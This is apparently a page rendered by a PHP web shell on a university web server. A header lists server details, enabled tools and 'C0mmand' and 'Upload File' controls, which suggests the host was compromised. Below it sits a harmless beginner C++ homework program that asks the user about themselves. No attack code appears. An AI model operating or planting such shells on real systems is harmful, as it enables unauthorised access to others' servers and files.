Server IP : 172.16.15.8 / Your IP : 18.220.97.161 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/owpile/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS 112 CS 1 Assignment 1(1) // Due: Wed. Sept. 22, 2010 // // File name: hw1.cpp // Author: Orlando Pile // Instructor: Dr. Wang // // Compile: g++ hw1.cpp // Run: ./a.out // // Goal: The program will prompt and let the user input // some information about themselves // #include<iostream> using namespace std; int main() { string answer; // hold the answer cout << "Which city is your hometown?"; cin >> answer; cout << "You come from " << answer << endl; cout << "What is your favorite sport?"; cin >> answer; cout << "You like " << answer << endl; cout << "What do you like to eat?"; cin >> answer; cout << "You like to eat " << answer << endl; cout << "What is your favorite movie?"; cin >> answer; cout << "Your favorite movie is " << answer << endl; cout << "What is your favorite thing to do?"; cin >> answer; cout << "You like to " << answer << endl; return 0; }